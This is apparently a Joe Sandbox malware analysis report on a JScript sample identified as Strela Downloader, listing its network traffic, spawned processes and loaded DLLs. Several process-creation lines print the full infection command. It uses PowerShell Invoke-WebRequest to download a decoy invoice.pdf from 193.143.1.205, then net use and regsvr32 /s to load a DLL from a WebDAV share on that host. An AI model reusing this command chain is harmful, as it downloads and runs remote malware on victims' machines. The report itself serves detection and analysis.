Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2022394846.00000146D3626000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2085661356.0000025159278000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2085886484.00000251592D1000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2083036858.00000251592A5000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2081906807.00000251592CE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2085759854.00000251592A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2085661356.0000025159278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Num
Source: net.exe, 00000007.00000003.2083036858.00000251592A5000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2085759854.00000251592A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/mQ
Source: svchost.exe, 00000009.00000002.3311739469.000001A7A1E00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F8008506.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2082179414.000001A7A1CD0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5036, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 28236151432955330765.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/61@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5784:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bg5vx5lx.amb.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 28236151432955330765.js	Virustotal: Detection: 22%
Source: 28236151432955330765.js	ReversingLabs: Detection: 21%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28236151432955330765.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1636,i,11691038566996867236,5529193390739458141,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1636,i,11691038566996867236,5529193390739458141,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
